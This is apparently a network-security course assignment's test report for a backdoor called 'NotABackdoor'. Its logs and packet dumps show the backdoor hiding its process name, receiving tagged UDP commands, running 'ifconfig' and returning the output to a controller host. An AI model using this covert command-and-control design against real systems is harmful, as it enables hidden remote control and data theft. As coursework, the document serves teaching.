

# COMP8505 Assignment 3

## Testing and Supporting Data

Deric Mccadden

Dimitry Rakhlei

Test#1	
Description	Mask Process
Steps	<ul style="list-style-type: none"><li>• Mask Process</li><li>• Set mask to “hidden”</li></ul>
Result	<pre>deric@deric-GA-970A-D3:~\$ ps -aux   grep "NotA" root      6556  0.0  0.0  61476  4180 pts/5    S+   10:10   0:00 sudo ./NotABackdoor -c 24.84.237.85 1300 deric     7242  0.0  0.0  14428  1096 pts/0    S+   10:14   0:00 grep --color=auto NotA deric@deric-GA-970A-D3:~\$</pre>
Success	Yes

Test#2	
Description	Send Command from Controller
Steps	<ul style="list-style-type: none"><li>• Start Controller</li><li>• Start Backdoor</li><li>• Send Command</li></ul>

Result	<pre> ETH: 0:1:5c:98:46:46 0:c:29:e9:0:2b (IP) 72 IP: 24.84.244.206 24.84.237.85 5 4 58 16384   Protocol: UDP  UDP packet   Src port: 34741   Dst port: 1300   size_payload: 30   Payload (30 bytes): 00000  5b 68 65 35 68 61 64 33  38 4b 71 73 5d 5b 43 4f  [he5had38Kqs][CO 00016  4d 4d 41 4e 44 5d 69 66  63 6f 6e 66 69 67      MMAND]ifconfig found identifier at: 0 found identifier at: 0 Results from: 24.84.244.206 : ifconfig </pre>
Success	Yes

Test#3	
Description	Receive Command at Backdoor
Steps	<ul style="list-style-type: none"> <li>• Start Controller</li> <li>• Start Backdoor</li> <li>• Send Command</li> <li>• Recv Command</li> </ul>
Result	<pre> ETH: 0:c:29:e9:0:35 0:c:29:db:78:87 (IP) 72 IP: 24.84.244.206 192.168.1.131 5 4 58 16384   Protocol: UDP  UDP packet   Src port: 34741   Dst port: 1300   size_payload: 30   Payload (30 bytes): 00000  5b 68 65 35 68 61 64 33  38 4b 71 73 5d 5b 43 4f  [he5had38Kqs][CO 00016  4d 4d 41 4e 44 5d 69 66  63 6f 6e 66 69 67      MMAND]ifconfig </pre>
Success	Yes

Test#4	
Description	Parse and Run Command
Steps	<ul style="list-style-type: none"> <li>• Start Controller</li> <li>• Start Backdoor</li> <li>• Send Command</li> <li>• Recv Command</li> <li>• Run Command</li> </ul>
Result	<pre> Found identifier at: 0 Found identifier at: 0 command received: [he5had38Kqs][COMMAND]ifconfig result: ens33: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt; mtu 1500         inet 192.168.1.131 netmask 255.255.255.0 broadcast 192.168.1.255         inet6 fe80::1909:9a26:a505:2785 prefixlen 64 scopeid 0x20&lt;link&gt;         ether 00:0c:29:db:78:87 txqueuelen 1000 (Ethernet)         RX packets 69650 bytes 89036006 (89.0 MB)         RX errors 0 dropped 0 overruns 0 frame 0         TX packets 33566 bytes 2477462 (2.4 MB)         TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt; mtu 65536         inet 127.0.0.1 netmask 255.0.0.0         inet6 ::1 prefixlen 128 scopeid 0x10&lt;host&gt;         loop txqueuelen 1000 (Local Loopback)         RX packets 746 bytes 59023 (59.0 KB)         RX errors 0 dropped 0 overruns 0 frame 0         TX packets 746 bytes 59023 (59.0 KB)         TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 </pre>
Success	Yes

Test#5	
Description	Send Back Results
Steps	<ul style="list-style-type: none"> <li>• Start Controller</li> <li>• Start Backdoor</li> <li>• Send Command</li> <li>• Recv Command</li> <li>• Run Command</li> </ul>

	<ul style="list-style-type: none"> <li>Return Results</li> </ul>
Result	<pre> send result to host: 24.84.244.206 port: 1300 Result: [he5had38Kqs][RESPONSE]ens33: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt; mtu 1500         inet 192.168.1.131 netmask 255.255.255.0 broadcast 192.168.1.255         inet6 fe80::1909:9a26:a505:2785 prefixlen 64 scopeid 0x20&lt;link&gt;         ether 00:0c:29:db:78:87 txqueuelen 1000 (Ethernet)         RX packets 69650 bytes 89036006 (89.0 MB)         RX errors 0 dropped 0 overruns 0 frame 0         TX packets 33566 bytes 2477462 (2.4 MB)         TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt; mtu 65536         inet 127.0.0.1 netmask 255.0.0.0         inet6 ::1 prefixlen 128 scopeid 0x10&lt;host&gt;         loop txqueuelen 1000 (Local Loopback)         RX packets 746 bytes 59023 (59.0 KB)         RX errors 0 dropped 0 overruns 0 frame 0         TX packets 746 bytes 59023 (59.0 KB)         TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0  ETH: 0:c:29:db:78:87 0:c:29:e9:0:35 (IP) 955 IP: 192.168.1.131 24.84.244.206 5 4 941 16384 Protocol: UDP  UDP packet Src port: 37265 Dst port: 1300 size_payload: 913 Payload (913 bytes): 00000 5b 68 65 35 68 61 64 33 38 4b 71 73 5d 5b 52 45 [he5had38Kqs][RE 00016 53 50 4f 4e 53 45 5d 65 6e 73 33 33 3a 20 66 6c SPONSE]ens33: fl 00032 61 67 73 3d 34 31 36 33 3c 55 50 2c 42 52 4f 41 ags=4163&lt;UP,BROA 00048 44 43 41 53 54 2c 52 55 4e 4e 49 4e 47 2c 4d 55 DCAST,RUNNING,MU 00064 4c 54 49 43 41 53 54 3e 20 20 6d 74 75 20 31 35 LTICAST&gt; mtu 15 00080 30 30 0a 20 20 20 20 20 20 20 20 69 6e 65 74 20 00. inet 00096 31 39 32 2e 31 36 38 2e 31 2e 31 33 31 20 20 6e 192.168.1.131 n 00112 65 74 6d 61 73 6b 20 32 35 35 2e 32 35 35 2e 32 etmask 255.255.2 00128 35 35 2e 30 20 20 62 72 6f 61 64 63 61 73 74 20 55.0 broadcast 00144 31 39 32 2e 31 36 38 2e 31 2e 32 35 35 0a 20 20 192.168.1.255. 00160 20 20 20 20 20 20 69 6e 65 74 36 20 66 65 38 30 inet6 fe80 00176 3a 3a 31 39 30 39 3a 39 61 32 36 3a 61 35 30 35 ::1909:9a26:a505 00192 3a 32 37 38 35 20 20 70 72 65 66 69 78 6c 65 6e :2785 prefixlen 00208 20 36 34 20 20 73 63 6f 70 65 69 64 20 30 78 32 64 scopeid 0x2 00224 30 3c 6c 69 6e 6b 3e 0a 20 20 20 20 20 20 20 20 0&lt;link&gt;. 00240 65 74 68 65 72 20 30 30 3a 30 63 3a 32 39 3a 64 ether 00:0c:29:d 00256 62 3a 37 38 3a 38 37 20 20 74 78 71 75 65 75 65 b:78:87 txqueue 00272 6c 65 6e 20 31 30 30 30 20 20 28 45 74 68 65 72 len 1000 (Ether 00288 6e 65 74 29 0a 20 20 20 20 20 20 20 20 52 58 20 net). RX 00304 70 61 63 6b 65 74 73 20 36 39 36 35 30 20 20 62 packets 69650 b 00320 79 74 65 73 20 38 39 30 33 36 30 30 36 20 28 38 ytes 89036006 (8 00336 39 2e 30 20 4d 42 29 0a 20 20 20 20 20 20 20 20 9.0 MB). 00352 52 58 20 65 72 72 6f 72 73 20 30 20 20 64 72 6f RX errors 0 dro 00368 70 70 65 64 20 30 20 20 6f 76 65 72 72 75 6e 73 pped 0 overruns </pre>
Success	Yes

Test#5

Description	Recv Results at Controller
Steps	<ul style="list-style-type: none"> <li>• Start Controller</li> <li>• Start Backdoor</li> <li>• Send Command</li> <li>• Recv Command</li> <li>• Run Command</li> <li>• Return Results</li> <li>• Receive Results</li> </ul>
Result	<pre>Results from: 24.84.237.85 : ens33: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;     mtu 1500        inet 192.168.1.131 netmask 255.255.255.0 broadcast 192.168 .1.255        inet6 fe80::1909:9a26:a505:2785 prefixlen 64 scopeid 0x20&lt;link &gt;        ether 00:0c:29:db:78:87 txqueuelen 1000 (Ethernet)        RX packet s 69650 bytes 89036006 (89.0 MB)        RX errors 0 dropped 0 overruns 0 f rame 0        TX packets 33566 bytes 2477462 (2.4 MB)        TX errors 0 dro pped 0 overruns 0 carrier 0 collisions 0lo: flags=73&lt;UP,LOOPBACK,RUNNING&gt; m tu 65536        inet 127.0.0.1 netmask 255.0.0.0        inet6 ::1 prefixlen 128 scopeid 0x10&lt;host&gt;        loop txqueuelen 1000 (Local Loopback) RX packets 746 bytes 59023 (59.0 KB)        RX errors 0 dropped 0 overruns 0 frame 0        TX packets 746 bytes 59023 (59.0 KB)        TX errors 0 dr opped 0 overruns 0 carrier 0 collisions 0 Please enter a command to run at the destination:</pre>
Success	Yes